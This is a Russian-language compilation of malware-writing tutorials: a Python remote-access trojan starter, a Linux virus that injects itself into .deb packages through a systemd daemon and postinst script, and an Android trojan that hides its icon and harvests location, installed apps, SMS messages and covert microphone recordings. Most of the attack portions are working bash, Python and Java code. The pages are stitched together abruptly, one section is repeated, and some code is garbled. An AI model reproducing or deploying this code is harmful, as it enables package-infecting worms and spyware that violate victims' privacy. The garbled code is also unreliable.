Крадущийся питон. Создаем простейший троян на Python
В этой статье я расскажу, как написать на Python простейший троян с удаленным доступом, а для большей скрытности мы встроим его в игру. Даже если ты не знаешь Python, ты сможешь лучше понять, как устроены такие вредоносы, и поупражняться в программировании.
Конечно, приведенные в статье скрипты никак не годятся для использования в боевых условиях: обфускации в них нет, принципы работы просты как палка, а вредоносные функции отсутствуют напрочь. Тем не менее при некоторой смекалке их возможно использовать для несложных пакостей — например, вырубить чей‑нибудь компьютер в классе (или в офисе, если в классе ты не наигрался).
info
Теория
Итак, что вообще такое троян? Вирус — это программа, главная задача которой — самокопирование. Червь активно распространяется по сети (типичный пример — «Петя» и WannaCry), а троян — скрытая вредоносная программа, которая маскируется под «хороший» софт.
Логика подобного заражения в том, что пользователь сам скачает себе вредонос на компьютер (например, под видом крякнутой программы), сам отключит защитные механизмы (ведь программа выглядит хорошей) и захочет оставить надолго. Хакеры и тут не дремлют, так что в новостях то и дело мелькают сообщения о новых жертвах пиратского ПО и о шифровальщиках, поражающих любителей халявы. Но мы‑то знаем, что бесплатный сыр бывает только в мусорке, и сегодня научимся очень просто начинять тот самый сыр чем‑то не вполне ожидаемым.
warning
Вся информация предоставлена исключительно в ознакомительных целях. Ни автор, ни редакция не несут ответственности за любой возможный вред, причиненный материалами данной статьи. Несанкционированный доступ к информации и нарушение работы систем могут преследоваться по закону. Помни об этом.
Определяем IP
Сначала нам (то есть нашему трояну) нужно определиться, где он оказался. Важная часть твоей информации — IP-адрес, по которому с зараженной машиной можно будет соединиться в дальнейшем.
Начнем писать код. Сразу импортируем библиотеки:
import socket
from requests import get
Обе библиотеки не поставляются с Python, поэтому, если они у тебя отсутствуют, их нужно установить командой pip .
pip install socket
pip install requests
info
Если ты видишь ошибку, что у тебя отсутствует pip, сначала нужно установить его с сайта pypi.org. Любопытно, что рекомендуемый способ установки pip — через pip, что, конечно, очень полезно, когда его нет.
Код получения внешнего и внутреннего адресов будет таким. Обрати внимание, что, если у жертвы несколько сетевых интерфейсов (например, Wi-Fi и Ethernet одновременно), этот код может вести себя неправильно.
# Определяем имя устройства в сети
hostname = socket . gethostname ( )
# Определяем локальный ( внутри сети) IP-адрес
local_ip = socket . gethostbyname ( hostname )
# Определяем глобальный ( публичный / в интернете) IP-адрес
public_ip = get ( ‘http:// api. ipify. org’ ) . text
Если с локальным адресом все более‑менее просто — находим имя устройства в сети и смотрим IP по имени устройства, — то вот с публичным IP все немного сложнее.
Я выбрал сайт api. ipify. org , так как на выходе нам выдается только одна строка — наш внешний IP. Из связки публичный + локальный IP мы получим почти точный адрес устройства.
Вывести информацию еще проще:
print ( f’Хост: < hostname >‘ )
print ( f’Локальный IP: < local_ip >‘ )
print ( f’Публичный IP: < public_ip >‘ )
Никогда не встречал конструкции типа print( f’<> ‘) ? Буква f означает форматированные строковые литералы. Простыми словами — программные вставки прямо в строку.
info
Строковые литералы не только хорошо смотрятся в коде, но и помогают избегать ошибок типа сложения строк и чисел (Python — это тебе на JavaScript!).
Троянский пингвин: Делаем вирус для Linux
Нет, я не собираюсь рассказывать, как написать своего шифровальщика-вымогателя, майнера или эксплуатировать супер-новую уязвимость, как вы могли подумать. И тем более я не горю желанием поднимать холивар «Linux безопаснее Windows?(да)». Моей целью было написание простого вируса для linux, некого, так сказать, «Just for Fun», единственной функцией которого является распространение своей копии. О том, что у меня получилось, я расскажу в этой статье. В конце я приведу ссылку на GitHub с исходниками.
Дисклеймер
Данная статья написана в ознакомительных целях. Автор ни в коем случае не призывает читателей к нарушению законодательства РФ. Пожалуйста, не повторяйте действия, описанные в данной статье, предварительно не ознакомившись с главой 28 УК РФ.
И что мы, собственно, будем делать?
Самым простым в реализации механизмом распространения вируса для меня показалось распространение через модифицированные deb/rpm пакеты. Пакеты формата deb и rpm сейчас являются наиболее популярным средством распространения по для Linux. Я остановил свой выбор на формате deb, так как количество пользователей Debian-based дистрибутивов преобладает над пользователями Red Hat и ее «последователей».
Еще необходимо, чтобы вирус автоматически запускался, и через каждый определенный период времени сканировал компьютер в поисках deb-пакетов. Для удобства отладки я выбрал период равный 10 минутам.
Что такое deb-пакет?
Deb-пакет представляет из себя архив формата .ar, который не использует сжатие. Внутри архива еще три файла: debian-bynary, control.tar и data.tar
debian.binary — текстовый файл, содержащий версию формата deb-пакета, на данный момент там всегда пишут «2.0».
control.tar — архив с файлами, содержащими информацию о пакете (например — обязательный файл control) и пакеты, необходимые для установки пакета (например — скрипты preinst, postinst, prerm и postrm, запускаемые до/после установки/удаления пакета). Может быть сжат с помощью gzip или xz, в таком случае к имени архива добавляется расширение .gz или .xz соответственно.
data.tar — архив с директориями, содержащими устанавливаемые файлы. Директории представлены деревом, в виде которого они должны извлечься в корень файловой системы. Может быть сжат с помощью gzip, bzip2, lzma, xz.
Нам необходимо обратить внимание на файл control из архива control.tar. Этот файл содержит информацию о пакете, такую как автор, описание, версию, приоритет пакета в системе и т. д. Меня интересует поле depends, в котором указаны зависимости (пакеты, без которых по из данного пакета не может работать). В это поле наш вирус будет дописывать fakeroot и dpkg — утилиты, которые понадобятся при модификации других пакетов на зараженном компьютере.
Для сборки deb-пакета создается корневая директория пакета. В нее кладутся директории с устанавливаемыми файлами и директория DEBIAN, содержащую служебные файлы, среди которых control и скрипты для установки/удаления. Затем выполняется команда fakeroot dpkg-deb —build ./path.
Сначала был демон
На момент написания вируса я еще плохо представлял, что такое Cron, и поэтому пошел путем написания собственного демона для systemd. Я создал файл trojan_penguin.service, который будет помещаться в директорию /lib/systemd/system, и добавил в нее следующее:
[Unit] Description = XXX [Service] ExecStart=/usr/bin/trojan_penguin.sh Type=fork [Install] WantedBy=multi-user.target
ExecStart=/usr/bin/trojan_penguin.sh — тут я указал путь к файлу (к будущему вирусу), который должен запускаться при старте системы.
Type=fork — это строка показывает, что процесс должен ответвиться от родительского процесса.
Я не видел необходимости в PID-файле, по этому я не стал его добавлять.
В мануалах по написанию своего демона фалы .service предлагается размещать в директориях /usr/lib/systemd/system/ или /etc/systemd/system/. Но я в своей убунте нашел директорию /lib/systemd/system. (у меня туда попал apache2.service). Может быть кто-нибудь в комментариях напишет, для чего нужна эта директория, и чем она отличается от двух других.
Файл /usr/bin/trojan_penguin.sh у меня получился таким:
#!/bin/bash #debug=". /Programming/projects/TrojanPenguin" debug="" #создаем папку для записи логов, если таковой нет if ! [ -d $debug/var/log/trojan_penguin/ ]; then mkdir $debug/var/log/trojan_penguin fi #работаем в бесконечном цикле, #делая паузы по 10 минут while [ 1 ] do list=$(find /home -name "*.deb") #ищем deb-пакеты # для каждого найденного пакета выполняем следующий цикл for line in $list do $debug/usr/bin/tp_infect.sh $line >> $debug/var/log/trojan_penguin/log #запускаем цикл, модифицирующий пакет, а логи записываем в файл log done date > $debug/var/log/trojan_penguin/last_start #записываем время последней отработки вируса (мне это помогло во время отладки) sleep 600 #пауза (60 * 10 сек = 10 мин) done
Мы ищем deb-пакеты в разделе /home (а где их еще искать то?), пути к найденным файлам записываем в переменную list. Потом просто перебираем все строки из line и для каждого файла запускаем скрипт tp_infect.sh, который заразит этот файл. Когда я писал вирус, скрипты находились в отдельной директории, и для удобства я создал переменную debug, в которой я прописал путь к этой папке.
Демон готов, осталось научиться его запускать при старте системы. Для этого я написал скрипт postinstall. Он будет запускаться сразу после установки зараженного пакета и указывать, чтобы наш вирус запускался вместе с системой. Разместил я его в директории «/usr/bin/», чтобы от туда копировать его в заражаемые пакеты.
#!/bin/bash #debug="/home/dima/Dropbox/Programming/projects/TrojanPenguin/TrojanPenguin" debug="" systemctl daemon-reload #не знаю почему, но без этой команды демон у меня иногда отказывался работать systemctl enable trojan_penguin.service #включаем автозапуск вместе с системой systemctl start trojan_penguin.service #запускаем демон
Модифицируем deb-пакет
Как я писал выше, архивы, содержащиеся в deb-пакете могут иметь разные разрешения. Я не стал заморачиваться, и рассмотрел только тот случай, когда архивы сжаты с помощью .xz. Файл /usr/bin/tp_infect.sh, отвечающий за модификацию, получил такое содержимое:
#!/bin/bash #debug=". /Programming/projects/TrojanPenguin" debug="" temp="$debug/tmp/trojan_penguin" #создаем временные папки mkdir $temp mkdir $temp/new mkdir $temp/new/DEBIAN #распакуем пакет ar -p $1 data.tar.xz | tar -xJ -C $temp/new ar -p $1 control.tar.xz | tar -xJ -C $temp/new/DEBIAN/ #отредактируем control #в новый control копируем все поля до "Deepends", затем копируем поле "Deepends", дописывая наши зависимости, после чего добавляем оставшиеся поля. cp $temp/new/DEBIAN/control $temp/orig_control cat $temp/orig_control | grep --before-context=100 Depends | grep -v Depends > $temp/new/DEBIAN/control cat $temp/orig_control | grep Depends | tr -d '\r\n' >> $temp/new/DEBIAN/control echo ", fakeroot, python" >> $temp/new/DEBIAN/control cat $temp/orig_control | grep --after-context=100 Depends | grep -v Depends >> $temp/new/DEBIAN/control #скормим пакету наш постинстал cp $debug/usr/bin/tp_postinst.sh $temp/new/DEBIAN/postinst #достроим дерево с нужными нам директориями, если таковых нет if ! [ -d $temp/new/usr ]; then mkdir $temp/new/usr fi if ! [ -d $temp/new/usr/bin ]; then mkdir $temp/new/usr/bin fi if ! [ -d $temp/new/lib ]; then mkdir $temp/new/lib fi if ! [ -d $temp/new/lib/systemd ]; then mkdir $temp/new/lib/systemd fi if ! [ -d $temp/new/lib/systemd/system ]; then mkdir $temp/new/lib/systemd/system fi #копируем наши файлы cp $debug/usr/bin/trojan_penguin.sh $temp/new/usr/bin/trojan_penguin.sh cp $debug/usr/bin/tp_infect.sh $temp/new/usr/bin/tp_infect.sh cp $debug/usr/bin/tp_postinst.sh $temp/new/usr/bin/tp_postinst.sh cp $debug/lib/systemd/system/trojan_penguin.service $temp/new/lib/systemd/system/ #Собираем пакет, перемещаем его на место старого и удаляем папку, в которой мы работали. fakeroot dpkg-deb --build $temp/new cp $temp/new.deb $1 rm -R $temp
Проблемы с postinstall
Все бы хорошо, но теперь у нас проблема. А что если в пакете уже есть postinstal? Оригинальный postinstal может быть написан на разных языках (python, bash. ), может это даже бинарник. Это не позволят нам просто взять и дописать свой postinstall в него. Я решил эту проблему следующим образом:
Добавил в скрипт tp_infect.sh такую вещь:
#Проверяем, есть ли в пакете postinstal. Если да, то копируем его в другое место. if [ -f $temp/new/usr/bin/postinst ]; then cp $temp/new/DEBIAN/postinst $debug/usr/bin/tp_orig_postinst fi
А в postinstal вот это:
#выполняем оригинальный постинстал и удаляем его if [ -f $debug/usr/bin/tp_orig_postinst ]; then $debug/usr/bin/tp_orig_postinst rm $debug/usr/bin/tp_orig_postinst fi
Одну проблему я решил, но появилась другая. Наш вирус будет модифицировать пакет, даже если он уже заражен. При модификации вирус увидит, что в пакете есть postinstal (который на самом деле наш), переместит его в /usr/bin/, тем самым перезаписав оригинал. Чтобы этого избежать, я добавил проверку в «tp_infect.sh», модифицировали мы этот файл или нет:
if [ -f $temp/new/usr/bin/trojan_penguin.sh ]; then rm -R $temp exit 0 fi
Собираем воедино
Вирус готов. Вот ссылка на GitHub, как и обещал. Этот вирус можно собрать в отдельный deb-пакет (запустите makedeb.sh) из репозитория. Чтобы внедрить вирус в какой-либо пакет, достаточно выполнить команду:
tp_infect.sh /путь заражаемому deb-пакету/
В репозитории есть две копии скрипта postinst
DEBIAN/postinst — эта копия выполняется только при установке пустого пакета с вирусом. Я его закомментировал, чтобы вирус не запускался после установки, а модивиццировал пакеты только по команде.
usr/bin/postinst — это копия вставляется в заражаемые пакеты.
Итог
А вывод очевиден и без этой статьи: не стоит скачивать и запускать программы из непроверенных источников.
Ради любопытства, я отправил deb-пакет с вирусом на VirusTotal для анализа. На момент написания статьи ни один антивирус не задетектировал его. Вот ссылка на отчет. Интересно, сколько должно пройти времени, и сколько хостов нужно заразить этим вирусом, чтобы антивирусы обратили на него внимание?
Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.
В интернете очень мало информации о вирусах для Linux систем, а в частности для семейства linux. Я хочу развить эту тему на Хабре в виде серии из нескольких статей. Прошу, ответить на опрос: какие из тем по вашему мнению являются наиболее интересными?
Как хакеры создают трояны для Андроид
Android принято называть рассадником вредоносных программ. Каждый день здесь выявляют более 8 тысяч новых образцов вирусов. И эти цифры постоянно растут.
Но задумывались ли вы, как эти вредоносные программы работают? Сегодня мы разберемся с этим, изучив приложение для Android, способное собирать информацию об устройстве, его местоположении, делать фотографии и записывать аудио. И все это с удаленным управлением.
Как написать троян на Андроид
Итак, наша цель — разобраться, как работают современные зловредные приложения. А лучший способ это сделать — посмотреть, как создается похожий софт. Как и боевой троян, наш пример при желании сможет наблюдать и передавать информацию о целевом устройстве на сервер.
Возможности трояна будут следующие:
- сбор информации о местоположении;
- получение списка установленных приложений;
- получение СМС;
- запись аудио;
- съемка задней или фронтальной камерой.
Все эти данные наше приложение будет отправлять на удаленный сервер, где мы сможем проанализировать результаты его работы.
Важно! Создание и распространение вредоносных программ карается лишением свободы до четырех лет (статья 273). Мы не хотим, чтобы вы сломали себе жизнь в местах не столь отдаленных, поэтому публикуем статью исключительно в образовательных целях. Ведь лучший способ разобраться в работе зловредного ПО — это узнать, как оно создается.
По понятным причинам я не смогу привести полный код приложения в статье, поэтому некоторые задачи вам придется выполнить самим (для этого потребуются кое-какие знания в разработке приложений для Android).
Каркас
На этом этапе задача следующая: создать приложение с пустым (или просто безобидным) интерфейсом. Сразу после запуска приложение скроет свою иконку, запустит сервис и завершится (сервис при этом будет продолжать работать).
Начнем. Создайте приложение, указав в манифесте следующие разрешения:
В «build.gradle» укажите «compileSdkVersion 22» и «targetSdkVersion 22». Так вы избавите приложение от необходимости запрашивать разрешения во время работы (22 — это Android 5.1, обязательный запрос разрешений появился в 23 — Android 6.0, но работать приложение будет в любой версии).
Теперь создайте пустую Activity и Service. В метод «onStartCommand» сервиса добавьте строку «return Service.START_STICKY». Это заставит систему перезапускать его в случае непреднамеренного завершения.
Добавьте их описание в манифест (здесь и далее наше приложение будет называться com.example.app):
android : name = «com.example.app.MainActivity»
android : label = «@string/app_name» >
android : name = «com.example.app.MainService»
android : enabled = «true»
android : exported = «false» >
Всю злобную работу мы будем делать внутри сервиса, поэтому наша Activity будет очень проста:
void onCreate ( Bundle savedInstanceState ) < super . onCreate ( savedInstanceState ) // Запускаем сервис startService ( new Intent ( this , MainService . class ) ) ; // Отключаем Activtiy ComponentName cn = new ComponentName ( "com.example.app" , "com.example.app.MainActivity" ) ;
pm . setComponentEnabledSetting ( cn , PackageManager . COMPONENT_ENABLED_STATE_DISABLED , PackageManager . DONT_KILL_APP ) ;
Этот код запустит сервис сразу после запуска приложения и отключит активность. Побочным эффектом последнего действия станет завершение приложения и исчезновение иконки из лаунчера. Сервис продолжит работу.
Информация о местоположении
Теперь мы должны добавить в сервис код, который будет собирать интересующую нас информацию.
Начнем с определения местоположения. В Андроид есть несколько способов получить текущие координаты устройства: GPS, по сотовым вышкам, по WiFi-роутерам. И с каждым из них можно работать двумя способами: либо попросить систему определить текущее местоположение и вызвать по окончании операции наш колбэк, либо спросить ОС о том, какие координаты были получены в последний раз (в результате запросов на определение местоположения от других приложений, например).
В нашем случае второй способ намного удобнее. Он быстрый, абсолютно незаметен для пользователя (не приводит к появлению иконки в строке состояния) и не жрет аккумулятор. Кроме того, его очень просто использовать:
Location getLastLocation ( Context context ) <
LocationManager lManager = ( LocationManager ) context . getSystemService ( Context . LOCATION_SERVICE ) ;
android . location . Location locationGPS = lManager . getLastKnownLocation ( LocationManager . GPS_PROVIDER ) ;
android . location . Location locationNet = lManager . getLastKnownLocation ( LocationManager . NETWORK_PROVIDER ) ;
long GPSLocationTime = 0 ;
if ( null ! = locationGPS ) < GPSLocationTime = locationGPS . getTime ( ) ; >
long NetLocationTime = 0 ;
if ( null ! = locationNet ) < NetLocationTime = locationNet . getTime ( ) ; >
Location loc ;
if ( 0 < GPSLocationTime - NetLocationTime ) <
loc = locationGPS ;
loc = locationNet ;
if ( loc ! = null ) <
return loc ;
return null ;
Данная функция спрашивает систему о последних координатах, полученных с помощью определения местоположения по сотовым вышкам и по GPS, затем берет самые свежие данные и возвращает их в форме объекта Location.
Далее можно извлечь широту и долготу и записать их в файл внутри приватного каталога нашего приложения:
Location loc = getLastKnownLocation ( context )
String locationFile = context . getApplicationInfo ( ) . dataDir + «/location»
OutputStreamWriter outputStreamWriter = new OutputStreamWriter ( context . openFileOutput ( locationFile , Context . MODE_PRIVATE ) ) ;
outputStreamWriter . write ( loc . getLatitude ( ) + » » + loc . getLongitude ) ;
outputStreamWriter . close ( ) ;
catch ( IOException e ) < >
Когда придет время отправлять данные на сервер, мы просто отдадим ему этот и другие файлы.
Список установленных приложений
Получить список установленных приложений еще проще:
void dumpSMS ( Context context ) <
String appsFile = context . getApplicationInfo ( ) . dataDir + "/apps"
final PackageManager pm = context . getPackageManager ( ) ;
List < ApplicationInfo >packages = pm . getInstalledApplications ( PackageManager . GET_META_DATA ) ;
PrintWriter pw = Files . writeLines ( appsFile ) ;
for ( ApplicationInfo packageInfo : packages ) <
if ( ! isSystemPackage ( packageInfo ) )
pw . println ( pm . getApplicationLabel ( packageInfo ) + ": " + packageInfo . packageName ) ;
> catch ( IOException e ) < >
private boolean isSystemPackage ( ApplicationInfo applicationInfo ) <
return ( ( applicationInfo . flags & ApplicationInfo.FLAG_SYSTEM) != 0);
Метод получает список всех приложений и сохраняет его в файл apps внутри приватного каталога приложения.
Дамп СМС
Уже сложнее. Чтобы получить список всех сохраненных СМС, нам необходимо подключиться к БД и пройтись по ней в поисках нужных записей. Код, позволяющий дампнуть все СМС в файл:
void dumpSMS ( Context context , String file , String box ) < SimpleDateFormat formatter = new SimpleDateFormat ( "yyyy.MM.dd HH:mm:ss" , Locale . US ) ;
Cursor cursor = context . getContentResolver ( ) . query ( Uri . parse ( «content://sms/» + box ) , null , null , null , null ) ;
PrintWriter pw = Files . writeLines ( file ) ;
if ( cursor ! = null && cursor.moveToFirst()) <
String address = null;
String date = null ;
String body = null ;
for ( int idx = 0 ; idx < cursor . getColumnCount ( ) ; idx ++ ) <
switch ( cursor . getColumnName ( idx ) ) <
case "address" :
address = cursor . getString ( idx ) ;
date = cursor . getString ( idx ) ;
body = cursor . getString ( idx ) ;
if ( box . equals ( "inbox" ) ) <
pw . println ( "From: " + address ) ;
pw . println ( "To: " + address ) ;
String dateString = formatter . format ( new Date ( Long . valueOf ( date ) ) ) ;
pw . println ( "Date: " + dateString ) ;
if ( body ! = null ) <
pw . println ( "Body: " + body . replace ( '\n' , ' ' ) ) ;
pw . println ( "Body: " ) ;
pw . println ( ) ;
> while ( cursor . moveToNext ( ) ) ;
cursor . close ( ) ;
> catch ( Exception e ) < >
Использовать его следует так:
// Сохраняем список всех полученных СМС
String inboxFile = context . getApplicationInfo ( ) . dataDir + «/sms_inbox»
dumpSMS ( context , inboxFile , «inbox» ) ;
// Сохраняем список отправленных СМС
String sentFile = context . getApplicationInfo ( ) . dataDir + «/sms_sent» ;
dumpSMS ( context , sentFile , «sent» ) ;
Записи в файле будут выглядеть примерно так:
From : Google
Date : 2017.02.24 06 : 49 : 55
Body : G — 732583 is your Google verification code .
Скрытая запись аудио
Записать аудио с микрофона можно с помощью «API MediaRecorder». Достаточно передать ему параметры записи и запустить ее с помощью метода «start()». Остановить запись можно с помощью метода «stop()». Следующий код демонстрирует, как это сделать. В данном случае мы используем отдельный спящий поток, который просыпается по истечении заданного тайм-аута и останавливает запись:
void recordAudio ( String file , final int time ) <
MediaRecorder recorder = new MediaRecorder ( ) ;
recorder . setAudioSource ( MediaRecorder . AudioSource . MIC ) ;
recorder . setOutputFormat ( MediaRecorder . OutputFormat . THREE_GPP ) ;
recorder . setAudioEncoder ( MediaRecorder . AudioEncoder . AMR_NB ) ;
recorder . setOutputFile ( file ) ;
recorder . prepare ( ) ;
> catch ( IOException e ) < >
recorder . start ( ) ;
Thread timer = new Thread ( new Runnable ( ) <
public void run ( ) <
Thread . sleep ( time * 1000 ) ;
> catch ( InterruptedException e ) <
Log . d ( TAG , "timer interrupted" ) ;
recorder . stop ( ) ;
recorder . release ( ) ;
timer . start ( ) ;
Использовать его можно, например, так:
DateFormat formatter = new SimpleDateFormat ( «yyyy-MM-dd-HH-mm-ss» , Locale . US ) ;
Date date = new Date ( ) ;
String filePrefix = context . getApplicationInfo ( ) . dataDir + «/audio-» ;
recordAudio ( filePrefix + formatter . format ( date ) + «.3gp» , 15 ) ;
Данный код сделает 15-секундную запись и поместит ее в файл audio-ДАТА-И-ВРЕМЯ.3gp.
Скрытая съемка
С камерой сложнее всего. Во-первых, по-хорошему необходимо уметь работать сразу с двумя API камеры: классическим и Camera2, который появился в Android 5.0 и стал основным в 7.0. Во-вторых, API Camera2 часто работает некорректно в Android 5.0 и даже в Android 5.1, к этому нужно быть готовым. В-третьих, Camera2 — сложный и запутанный API, основанный на колбэках, которые вызываются в момент изменения состояния камеры. В-четвертых, ни в классическом API камеры, ни в Camera2 нет средств для скрытой съемки. Они оба требуют показывать превью, и это ограничение придется обходить с помощью хаков.
Учитывая, что с Camera2 работать намного сложнее, а описать нюансы работы с ней в рамках данной статьи не представляется возможным, я просто приведу весь код класса для скрытой съемки. А вы можете либо использовать его как есть, либо попробуете разобраться с ним самостоятельно (но я предупреждаю: вы попадете в ад):
Как создать простого трояна на Python

Зачем кому-то писать вредоносное ПО на Python? Мы собираемся сделать это, чтобы изучить общие принципы разработки вредоносных программ, а в то же время вы сможете попрактиковаться в использовании этого языка и применить полученные знания для других целей. Кроме того, вредоносное ПО Python встречается в естественных условиях, и не все программы защиты от вирусов обращают на него внимание.
Содержание скрыть
Конечно, приведенные в статье скрипты никоим образом не подходят для использования в боевых условиях — в них нет обфускации, принципы работы просты, как дважды два, и нет никаких вредоносных функций. Однако проявив немного изобретательности, их можно использовать для простых грязных уловок — например, выключения чьего-либо компьютера в классе или в офисе.
Теория
Так что же такое троян? Вирус — это программа, основная задача которой — копировать самого себя. Червь активно распространяется по сети (типичные примеры — Petya и WannaCry), а троян — это скрытая вредоносная программа, маскирующаяся под «хорошее» ПО.
Логика такого заражения заключается в том, что пользователь сам загружает вредоносное ПО на свой компьютер (например, под видом неработающей программы), сам отключает механизмы защиты (в конце концов, программа выглядит нормально) и хочет оставить его на долгое время. Хакеры здесь тоже не спят, поэтому время от времени появляются новости о новых жертвах пиратского программного обеспечения и программ-вымогателей, нацеленных на любителей халявы. Но мы знаем, что бесплатный сыр можно найти только в мыеловке, и сегодня мы очень легко научимся заполнять этот сыр чем-то неожиданным.
Определяем IP
Во-первых, нам (то есть нашему трояну) нужно определить, где он оказался. Важной частью вашей информации является IP-адрес, который вы можете использовать для подключения к зараженному компьютеру в будущем.
Начнем писать код. Сразу импортируем библиотеки:
import socket
from requests import get
Обе библиотеки не поставляются с Python, поэтому, если они у тебя отсутствуют, их нужно установить командой pip .
pip install socket
pip install requests
Если вы видите сообщение об отсутствии pip, вам необходимо сначала установить его с pypi.org. Как ни странно, что Pip рекомендуется становить через Pip, что, конечно, очень полезно, когда он недоступен.
Код получения внешнего и внутреннего адресов будет таким. Обрати внимание, что, если у жертвы несколько сетевых интерфейсов (например, Wi-Fi и Ethernet одновременно), этот код может вести себя неправильно.
# Определяем имя устройства в сети
hostname = socket . gethostname ( )
# Определяем локальный ( внутри сети) IP-адрес
local_ip = socket . gethostbyname ( hostname )
# Определяем глобальный ( публичный / в интернете) IP-адрес
public_ip = get ( ‘http:// api. ipify. org’ ) . text
Если с локальным адресом все более‑менее просто — находим имя устройства в сети и смотрим IP по имени устройства, — то вот с публичным IP все немного сложнее.
Я выбрал сайт api. ipify. org , так как на выходе нам выдается только одна строка — наш внешний IP. Из связки публичный + локальный IP мы получим почти точный адрес устройства.
Вывести информацию еще проще:
print ( f’Хост: < hostname >‘ )
print ( f’Локальный IP: < local_ip >‘ )
print ( f’Публичный IP: < public_ip >‘ )
Никогда не встречал конструкции типа print( f’<> ‘) ? Буква f означает форматированные строковые литералы. Простыми словами — программные вставки прямо в строку.
Строковые литералы не только хорошо смотрятся в вашем коде, они также помогают избежать таких ошибок, как сложение строк и добавление чисел (Python это не JavaScript!).
